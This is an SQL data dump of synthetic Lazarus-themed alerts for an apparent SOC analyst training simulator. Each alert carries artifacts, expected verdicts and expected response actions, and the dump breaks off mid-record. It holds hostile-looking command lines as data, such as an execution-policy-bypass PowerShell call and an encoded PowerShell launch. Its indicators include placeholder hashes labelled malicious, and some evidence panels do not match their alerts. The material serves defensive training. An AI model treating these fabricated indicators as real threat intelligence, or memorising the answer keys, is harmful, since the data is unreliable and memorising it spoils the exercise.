(1445, 'Establishing Persistence and Lateral Movement', 'high', 'Network Traffic Analysis', 'The Lazarus Group has been detected using stolen credentials to move laterally within the network, targeting critical aerospace and military data. The threat actor is leveraging known TTPs to maintain access and seek sensitive information.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_type\":\"authentication\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"10.0.5.12\",\"user\":\"jdoe\",\"action\":\"login_success\",\"credentials\":{\"method\":\"password\",\"status\":\"compromised\"},\"malicious_file\":{\"filename\":\"persistent_agent.exe\",\"file_hash\":\"7e4d2b6e3f8c6b1b9a3c342f5d7a8a3b\"},\"attacker_ip\":\"203.0.113.5\"}', '2026-03-03 22:01:10', '2026-03-09 03:23:46', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of targeted system\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"user_directory\",\"verdict\":\"suspicious\",\"details\":\"User credentials used for lateral movement\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"7e4d2b6e3f8c6b1b9a3c342f5d7a8a3b\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_analysis\",\"verdict\":\"malicious\",\"details\":\"Hash associated with persistent malware used by Lazarus Group\"}},{\"id\":\"artifact_5\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with Lazarus Group activities\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1446, 'Suspicious App Download Detected', 'medium', 'App Store logs', 'A suspicious cryptocurrency trading application potentially associated with the Lazarus Group was downloaded. The app is believed to be trojanized, aimed at infiltrating systems of cryptocurrency enthusiasts.', 'Initial Access', 'T1190: Exploit Public-Facing Application', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-25T14:32:00Z\",\"event_id\":\"123456\",\"app_name\":\"CryptoTraderPro\",\"downloaded_by\":\"user@example.com\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_name\":\"CryptoTraderProSetup.exe\"}', '2026-03-03 22:03:46', '2026-03-05 05:21:53', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Lazarus Group activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with potentially trojanized applications.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"CryptoTraderProSetup.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Trojanized application used to deliver malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-03T22:56:57.373Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_id\\\":\\\"123456\\\",\\\"app_name\\\":\\\"CryptoTraderPro\\\",\\\"downloaded_by\\\":\\\"user@example.com\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"CryptoTraderProSetup.exe\\\"}\"},{\"timestamp\":\"2026-03-03T22:55:57.373Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_id\\\":\\\"123456\\\",\\\"app_name\\\":\\\"CryptoTraderPro\\\",\\\"downloaded_by\\\":\\\"user@example.com\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"CryptoTraderProSetup.exe\\\"}\"},{\"timestamp\":\"2026-03-03T22:54:57.373Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_id\\\":\\\"123456\\\",\\\"app_name\\\":\\\"CryptoTraderPro\\\",\\\"downloaded_by\\\":\\\"user@example.com\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"CryptoTraderProSetup.exe\\\"}\"},{\"timestamp\":\"2026-03-03T22:53:57.373Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_id\\\":\\\"123456\\\",\\\"app_name\\\":\\\"CryptoTraderPro\\\",\\\"downloaded_by\\\":\\\"user@example.com\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"CryptoTraderProSetup.exe\\\"}\"},{\"timestamp\":\"2026-03-03T22:52:57.373Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_id\\\":\\\"123456\\\",\\\"app_name\\\":\\\"CryptoTraderPro\\\",\\\"downloaded_by\\\":\\\"user@example.com\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"CryptoTraderProSetup.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1447, 'Execution of Unknown Scripts', 'medium', 'Endpoint Detection and Response (EDR) alerts', 'Suspicious script execution detected on host machine. The script is associated with Lazarus Group\'s known tactics and attempts to establish control over the system by executing hidden scripts.', 'Execution', 'T1059 - Command and Scripting Interpreter', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-12T07:23:45Z\",\"host_ip\":\"192.168.1.45\",\"host_name\":\"DESKTOP-7A9B21Q\",\"user\":\"jdoe\",\"process_name\":\"powershell.exe\",\"process_id\":2987,\"script_name\":\"hidden_script.ps1\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File hidden_script.ps1\",\"source_ip\":\"143.110.227.12\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\hidden_script.ps1\",\"event_type\":\"script_execution\",\"malicious_indicator\":true}', '2026-03-03 22:03:46', '2026-03-05 05:23:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"143.110.227.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Lazarus Group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware used in previous Lazarus Group campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"hidden_script.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Threat Intel\",\"verdict\":\"suspicious\",\"details\":\"Script name not commonly used in normal operations.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1448, 'Establishment of Persistence Mechanism', 'medium', 'System logs', 'The malware modifies startup scripts, ensuring it runs upon system boot, thereby maintaining a foothold.', 'Persistence', 'T1547.001', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-14T03:24:00Z\",\"event_type\":\"startup_script_modification\",\"host\":\"compromised-host\",\"user\":\"admin\",\"internal_ip\":\"192.168.1.15\",\"external_ip\":\"203.0.113.45\",\"malware_name\":\"Lazarus_Persistence_Tool\",\"file_modified\":\"/etc/rc.local\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"action\":\"modify\",\"description\":\"Startup script modified to include malicious binary execution.\",\"malware_hash\":\"5d41402abc4b2a76b9719d911017c592\"}', '2026-03-03 22:03:46', '2026-03-05 05:24:43', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Lazarus Group\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash of a known Lazarus Group persistence tool\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-03T22:56:57.377Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T03:24:00Z\\\",\\\"event_type\\\":\\\"startup_script_modification\\\",\\\"host\\\":\\\"compromised-host\\\",\\\"user\\\":\\\"admin\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"Lazarus_Persistence_Tool\\\",\\\"file_modified\\\":\\\"/etc/rc.local\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"modify\\\",\\\"description\\\":\\\"Startup script modified to include malicious binary execution.\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"}\"},{\"timestamp\":\"2026-03-03T22:55:57.377Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T03:24:00Z\\\",\\\"event_type\\\":\\\"startup_script_modification\\\",\\\"host\\\":\\\"compromised-host\\\",\\\"user\\\":\\\"admin\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"Lazarus_Persistence_Tool\\\",\\\"file_modified\\\":\\\"/etc/rc.local\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"modify\\\",\\\"description\\\":\\\"Startup script modified to include malicious binary execution.\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"}\"},{\"timestamp\":\"2026-03-03T22:54:57.377Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T03:24:00Z\\\",\\\"event_type\\\":\\\"startup_script_modification\\\",\\\"host\\\":\\\"compromised-host\\\",\\\"user\\\":\\\"admin\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"Lazarus_Persistence_Tool\\\",\\\"file_modified\\\":\\\"/etc/rc.local\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"modify\\\",\\\"description\\\":\\\"Startup script modified to include malicious binary execution.\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"}\"},{\"timestamp\":\"2026-03-03T22:53:57.377Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T03:24:00Z\\\",\\\"event_type\\\":\\\"startup_script_modification\\\",\\\"host\\\":\\\"compromised-host\\\",\\\"user\\\":\\\"admin\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"Lazarus_Persistence_Tool\\\",\\\"file_modified\\\":\\\"/etc/rc.local\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"modify\\\",\\\"description\\\":\\\"Startup script modified to include malicious binary execution.\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"}\"},{\"timestamp\":\"2026-03-03T22:52:57.377Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T03:24:00Z\\\",\\\"event_type\\\":\\\"startup_script_modification\\\",\\\"host\\\":\\\"compromised-host\\\",\\\"user\\\":\\\"admin\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"Lazarus_Persistence_Tool\\\",\\\"file_modified\\\":\\\"/etc/rc.local\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"modify\\\",\\\"description\\\":\\\"Startup script modified to include malicious binary execution.\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1449, 'Unauthorized Lateral Movement Attempt', 'high', 'Network traffic analysis', 'An unauthorized lateral movement attempt was detected originating from an external IP address, utilizing stolen credentials to access additional systems within the network.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-10T13:45:30Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.15\",\"username\":\"jdoe\",\"action\":\"login_attempt\",\"status\":\"failed\",\"hash\":\"6f5902ac237024bdd0c176cb93063dc4\",\"filename\":\"mimikatz.exe\",\"protocol\":\"SMB\",\"alert_id\":\"LTMV-2023-00045\"}', '2026-03-03 22:03:46', '2026-03-05 05:26:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Lazarus Group activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal company server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Audit Logs\",\"verdict\":\"suspicious\",\"details\":\"Account potentially compromised\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"6f5902ac237024bdd0c176cb93063dc4\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Mimikatz variant\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"mimikatz.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"File associated with credential dumping\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1450, 'Sensitive Data Exfiltration Detected', 'high', 'Data Loss Prevention (DLP) alerts', 'Finalizing their operation, Lazarus exfiltrates valuable data, including cryptocurrency wallet keys, to external servers.', 'Exfiltration', 'T1041: Exfiltration Over C2 Channel', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"dlp-20231012-0001\",\"source_ip\":\"10.0.0.101\",\"destination_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"filename\":\"wallet_keys.txt\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"action\":\"file_transfer\",\"protocol\":\"HTTPS\",\"outbound_port\":443,\"threat_actor\":\"Lazarus Group\"}', '2026-03-03 22:03:46', '2026-03-05 05:27:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP used for data exfiltration.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Lazarus Group.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"wallet_keys.txt\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"File containing sensitive cryptocurrency wallet keys.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with recent data exfiltration attempts.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"clean\",\"details\":\"User account used in the exfiltration event.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-03T22:56:57.384Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"dlp-20231012-0001\\\",\\\"source_ip\\\":\\\"10.0.0.101\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"wallet_keys.txt\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"outbound_port\\\":443,\\\"threat_actor\\\":\\\"Lazarus Group\\\"}\"},{\"timestamp\":\"2026-03-03T22:55:57.384Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"dlp-20231012-0001\\\",\\\"source_ip\\\":\\\"10.0.0.101\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"wallet_keys.txt\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"outbound_port\\\":443,\\\"threat_actor\\\":\\\"Lazarus Group\\\"}\"},{\"timestamp\":\"2026-03-03T22:54:57.384Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"dlp-20231012-0001\\\",\\\"source_ip\\\":\\\"10.0.0.101\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"wallet_keys.txt\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"outbound_port\\\":443,\\\"threat_actor\\\":\\\"Lazarus Group\\\"}\"},{\"timestamp\":\"2026-03-03T22:53:57.384Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"dlp-20231012-0001\\\",\\\"source_ip\\\":\\\"10.0.0.101\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"wallet_keys.txt\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"outbound_port\\\":443,\\\"threat_actor\\\":\\\"Lazarus Group\\\"}\"},{\"timestamp\":\"2026-03-03T22:52:57.384Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"dlp-20231012-0001\\\",\\\"source_ip\\\":\\\"10.0.0.101\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"wallet_keys.txt\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"outbound_port\\\":443,\\\"threat_actor\\\":\\\"Lazarus Group\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1451, 'Spear-Phishing Email Detected', 'high', 'Email security gateway logs', 'A spear-phishing email was detected targeting personnel at a cryptocurrency exchange, crafted to mimic a trusted partner.', 'Social Engineering', 'T1566.001', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-08T14:32:00Z\",\"email_id\":\"abcd1234@example.com\",\"from\":\"trustedpartner@example.com\",\"to\":\"employee@cryptoexchange.com\",\"subject\":\"Urgent: Account Verification Required\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.5\",\"attachment\":\"Invoice_2023.zip\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"detected_malware\":\"CryptoCore\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36\"}', '2026-03-07 00:50:13', '2026-03-09 05:48:52', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"trustedpartner@example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"suspicious\",\"details\":\"Email domain previously associated with phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address linked to multiple spear-phishing attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Known malware hash associated with CryptoCore APT.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear-Phishing Email Detected\",\"date\":\"2026-03-07T14:15:20.836Z\",\"x-mailer\":\"PHPMailer 